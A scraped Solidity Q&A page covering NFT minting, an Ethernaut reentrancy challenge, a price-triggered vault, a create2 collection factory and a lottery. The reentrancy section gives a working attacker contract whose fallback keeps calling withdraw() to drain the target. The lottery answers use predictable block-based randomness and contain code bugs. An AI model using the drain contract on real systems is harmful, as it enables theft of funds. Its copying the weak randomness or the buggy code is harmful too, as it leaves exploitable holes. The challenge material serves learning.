Smart Contract on Polygon not showing proper cost? - ethereum

I'm using HashLips' new LowGasFees smart contract. I'm deploying on Polygon network, and I´m minting all NFTs into my opensea to sell later on in batches. So no DAPP involved.
For me to be safe in terms of avoiding free-minters, I put the cost to 100 ether, that would be 100 matic. But whenever I test through Remix or even through contract itself on polygon scan, it never shows the cost added, only gas fees. Which are way above normal price on mainnet don't know why (~0,47 MATIC when normal is like ~0,005-0,007 MATIC).
What could be the reason of this? Is this normal? I don't want anyone to snipe my nfts for pennies whenever I unpause the contract.
This is how I set up my public props
string public uriPrefix = "";
string public uriSuffis = ".json";
string public hiddenMetadataUri;
uint256 public cost = 100 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 50;
bool public paused = true;
bool public revealed = true;
This is how the mint works:
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "Contract is paused");
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
}
_mintLoop(msg.sender, _mintAmount);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for(uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
I also wish to be able to modify the maxSupply on runtime, so I made this setter function, not really sure if it's okay or if there's something else to check on that I could have missed.
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
require(_maxSupply >= supply.current(), "You can't set a value lower than current supply minted!");
maxSupply = _maxSupply;
}
Thanks in advance.

thats because your contract is paused, making it unusable. You need to transact on your deployed contract to make pause = false. It will let you mint normally and the gas will drop to realistic prices.

Related

Reentrancy attack implementation

I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.

How to send correctly ETH from the manager's deposit to user if an event occurs?

I have this smart contract that I am trying to test. The manager deposits a certain amount of ether. Users can use the vault to earn extra ethers by locking own ether. Users deposit the amount of ether they want (ex 0.10 ETH) and set the seconds for locking. When users deposit, the price of ethereum is recorded via chainlink. If at the end of the locking period the price of ethereum is less than 2000$ the user receives the amount of locked ETH (0.10 ETH) + 2x (0.20ETH) the amount of locked ethers. The extra ethers are taken from the manager's deposit.
The code seems to work fine and the console returns no errors. I am testing the smart contract on the Kovan network. The problem is encountered when the user tries to withdraw the ethereums. When he withdraws, only the deposited ones are returned without the extra ethers being added.
I am new to Solidity so I appreciate any criticism or advice. If there is something already existing similar to what I am trying to create please let me know.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "#chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
interface EACAggregatorProxy {
function latestAnswer() external view returns (int256);
}
contract oracleLink {
address public manager;
uint256 public managerDeposit;
uint256[] public managerDeposits;
constructor() payable {
manager = msg.sender;
managerDeposit = msg.value;
managerDeposits.push(managerDeposit);
}
function depositVault() public payable {
require(msg.sender == manager);
}
address public user;
uint256 public userContribution;
uint256 public userCount;
uint256 deadline;
uint256 lockAmount = lockAmounts[msg.sender];
mapping(address => uint) lockAmounts;
uint256 startTime = startTimes[block.timestamp];
mapping(uint => uint) startTimes;
address public chainLinkETHUSDAddress = 0x9326BFA02ADD2366b30bacB125260Af641031331;
uint public ethPrice = 0;
uint256 public price = ethPrice;
function deposit(uint256 numberOfSeconds) public payable {
lockAmounts[msg.sender] = msg.value;
startTimes[block.timestamp] = block.timestamp;
user = msg.sender;
userContribution = msg.value;
userCount++;
deadline = block.timestamp + (numberOfSeconds * 1 seconds);
int256 chainLinkEthPrice = EACAggregatorProxy(chainLinkETHUSDAddress).latestAnswer();
ethPrice = uint(chainLinkEthPrice / 100000000);
}
function withdraw() public payable {
if (ethPrice <= 2000) {
uint256 toWithdraw = lockAmounts[msg.sender];
uint256 amountOfToken = toWithdraw * 2;
payable(manager).transfer(amountOfToken);
}
require(block.timestamp >= deadline);
uint256 amountToWithdraw = lockAmounts[msg.sender];
lockAmounts[msg.sender] = 0;
payable(msg.sender).transfer(amountToWithdraw);
}
}
So the one thing that I noticed is that when you try to send the additional ETH to the recipient's address you're actually trying to send it back to the manager and not the recipient. Also note that you should avoid using the transfer method and use the call method instead: call{value: amount}("") should now be used for transferring ether (Do not use send or transfer.) as of May 2021.
So your withdraw method should look something like this instead:
function withdraw() public payable {
address recipient = msg.sender;
uint256 additionalToken;
if (ethPrice <= 2000) {
additionalToken = lockAmounts[msg.sender] * 2;
}
require(block.timestamp >= deadline);
uint256 amountToWithdraw = lockAmounts[msg.sender] + additionalToken;
lockAmounts[msg.sender] = 0;
(bool success, ) = payable(recipient).call{value: amountToWithdraw}("");
require(success, "Transfer failed.");
}
Hopefully this helps.

ERC721 contract deployed with create2 stops working after a particular function is called

So I'm working on an NFT marketplace smart contract and one of the features in this marketplace allows users to deploy their own collection (this is basically a smart contract that extends the ERC721 specification). For this, I'm leveraging the create2 opcode. It deploys well while testing on the testnet (except for the insanely huge gas requirement) but the problem is, I can only call a function once in this contract. This is the contract that extends ERC721:
pragma solidity ^0.8.0;
import '#openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '#openzeppelin/contracts/token/ERC721/IERC721.sol';
import '#openzeppelin/contracts/security/ReentrancyGuard.sol';
import '#openzeppelin/contracts/utils/Counters.sol';
import './interfaces/IDeployableCollection.sol';
contract DeployableCollection is IDeployableCollection, ERC721URIStorage, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address public _collectionOwner;
bytes32 public _category;
address payable public _paymentReceiver;
string public _collectionURI;
mapping(address => uint256) public lastMintedForIDs;
constructor(
string memory name_,
string memory symbol_,
address collectionOwner_,
string memory category_,
address paymentReceiver_,
string memory collectionURI_
) ERC721(name_, symbol_) {
_collectionOwner = collectionOwner_;
_category = keccak256(abi.encode(category_));
_paymentReceiver = payable(paymentReceiver_);
_collectionURI = collectionURI_;
}
function mintFor(string memory _tokenURI, address to) external nonReentrant returns (uint256 _tokenId) {
_tokenIds.increment();
_tokenId = _tokenIds.current();
_mint(to, _tokenId);
_setTokenURI(_tokenId, _tokenURI);
lastMintedForIDs[to] = _tokenId;
}
}
This is the line that deploys the contract:
function deployCollection(
string memory name_,
string memory symbol_,
string memory category_,
address paymentReceiver_,
string memory _collectionURI
) external payable nonReentrant {
uint256 _fee = _utilityToken != address(0) && IERC20(_utilityToken).balanceOf(_msgSender()) >= _requiredHold
? _collectionDeployFeeInEther.sub((uint256(_percentageDiscount).mul(_collectionDeployFeeInEther)).div(100))
: _collectionDeployFeeInEther;
require(msg.value >= _fee, 'FEE_TOO_LOW');
bytes memory _byteCode = abi.encodePacked(
type(DeployableCollection).creationCode,
abi.encode(name_, symbol_, _msgSender(), category_, paymentReceiver_, _collectionURI)
);
bytes32 _salt = keccak256(abi.encode(name_, _msgSender()));
address _collection;
assembly {
_collection := create2(0, add(_byteCode, 32), mload(_byteCode), _salt)
}
emit CollectionDeployed(_collection, _msgSender(), block.timestamp, name_, category_, symbol_);
}
Now this works fine, except once I call mintFor and an NFT gets minted, the contract stops working. It shows a total supply of zero (0) on the block explorer even though an NFT has been created (I'm only able to create an NFT with an ID of 1). I also am not able to call any function again as it raises an exception (the cause of which is unknown). This is the line in the factory contract that does the actual minting:
function mintNFT(
address collection,
string memory tokenURI_,
address _for
) external payable nonReentrant returns (bool) {
uint256 _fee = _utilityToken != address(0) && IERC20(_utilityToken).balanceOf(_msgSender()) >= _requiredHold
? _mintFeeInEther.sub((uint256(_percentageDiscount).mul(_mintFeeInEther)).div(100))
: _mintFeeInEther;
require(msg.value >= _fee, 'FEE_TOO_LOW');
address _paymentReceiver = IDeployableCollection(collection)._paymentReceiver();
uint256 _feeForOwner = (uint256(_percentageForCollectionOwners).mul(_fee)).div(100);
_safeMintFor(collection, tokenURI_, _for);
_safeTransferETH(_paymentReceiver, _feeForOwner);
uint256 _tokenId = IDeployableCollection(collection).lastMintedForIDs(_msgSender());
emit Mint(collection, _tokenId, block.timestamp, tokenURI_, _msgSender());
return true;
}
I'm guessing an optimization with a runs of 1 is applied upon deployment using create2 (forgive me if this is stupid) but I also think it isn't likely as I'm also watching for events on the smart contract with a Nodejs back-end and I'm able to call '_collectionURI()' when the event data is propagated to my back-end app and this is before calling mintFor. I'm confused! Please help!
This is a link to the contract info on the explorer: https://testnet.bscscan.com/token/0x6dd5bd0072cdc5e8c24f262a9631c175bc2356a0

Ethereum lottery smart contract with the following conditions

Solidity compiler version 0.5.0
Players pay fixed price of 2 ether to join
Limit of 'n' users who can join players can join only once by paying the fixed amount
Owner/Manager of the contract should not be allowed to join the lucky draw
Smart contract must pick the winner randomly
The winner receives all the reward money
New lottery starts when the winner is picked
pragma solidity ^0.5.0;
contract LuckyDraw
{
address owner;
address[3] participants;
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notOwner()
{
_;
}
function joinLottery() payable public require notOwner()
{
require(msg.value == 2 ether);
}
function random() private view returns(uint)
{
return uint(keccak256(abi.encode(block.difficulty, now, participants)));
}
function pickwinner() external onlyOwner
{
uint win = random() % participants.length;
participants[index].transfer(address(this).balance);
participants = new address[](0);
}
}
How do I set the no. of players to 'n'?
Unfortunately I have some unknown issues with solidity 0.5.0 so I provide you a better contract than you wrote here:
pragma solidity 0.6.0;
contract LuckyDraw {
uint private maxParticipantNumbers;
uint private participantNumbers;
uint private ticketPrice;
address private owner;
address payable[] participants;
constructor() public {
owner = msg.sender;
maxParticipantNumbers = 3;
ticketPrice = 2 ether;
}
modifier onlyOwner(){
require(msg.sender == owner, "Access denied!");
_;
}
modifier notOwner(){
require(msg.sender != owner, "Access denied");
_;
}
function setTicketPrice(uint _valueInEther) public onlyOwner{
ticketPrice = (_valueInEther * 1000000000000000000);
}
function setMaximmNumbers(uint _maxNumbers) public onlyOwner{
participantNumbers = _maxNumbers;
}
function viewTicketPrice() external view returns(uint){
return ticketPrice;
}
function joinLottery() payable public notOwner(){
require(msg.value == ticketPrice);
if (participantNumbers < maxParticipantNumbers){
participants.push(msg.sender);
participantNumbers++;
}
else if (participantNumbers == maxParticipantNumbers){
msg.sender.transfer(msg.value);
pickwinner();
}
}
function random() private view returns(uint){
return uint(keccak256(abi.encode(block.difficulty, now, participants, block.number)));
}
function pickwinner() internal{
uint win = random() % participants.length;
participants[win].transfer(address(this).balance);
delete participants;
participantNumbers = 0;
}
function endGame() external onlyowner{
uint win = random() % participants.length;
participants[win].transfer(address(this).balance);
delete participants;
participantNumbers = 0;
}
}
Here is the explain:
First of all compiler is 0.6.0!
maxParticipantNumbers is maximum number of participants.
participantNumbers counts the participants.
ticketPrice is the price of ticket.
follows are same.
setTicketPrice() is a function which only owner of contract can call it and updates the price of ticket or you can just leave it (Note that the number you enter automatically is measures as wei so I added 10^18 at the end which you just need to set the number and it is in ether amount)!
setMaximmNumbers() is a function which only owner of contract can call it and changes the maximum number of players which can participate in the lottery!
viewTicketPrice() is an external view function which returns the price of ticket (Note that it returns the value in wei).
And joinLottery() is a function which sells the ticket and when the last participant buys the ticket, automatically calls the pickwinner() function and lottery ends and does the transfer and starts again automatically!
Also I put endGame() function in case if owner wants to end the game earlier than reaching maximum number of participants!
Of course you can change it by your self but I hope you enjoy it!

Do I need to always use a setter since contracts are essentially permanent?

So, from what I understand, it's a good idea to use temporary contracts and redeploy when a change is necessary. Let's assume that I controlled a smart lightbulb with the following code.
pragma solidity 0.4.24;
contract Lightbulb {
enum LightState { off, on }
address public owner;
LightState light;
LightState constant defaultChoice = LightState.off;
uint public cost = 1 ether;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function turnOn() public payable {
require(msg.value == cost);
light = LightState.on;
}
function turnOff() public {
light = LightState.off;
}
function getState() public view returns (LightState) {
return light;
}
}
Should I just redeploy the contract if I wanted to change the cost? Also, I could put the cost in a constructor, but if I wanted to change the cost I would still have to redeploy so does that really matter?
Contract deployment is very costly and you typically want to avoid it whenever possible. You would deploy a new contract when business rules change. For a simple state change operation like the one you described, you would want to provider a setter for the cost that uses the onlyOwner modifier to restrict access.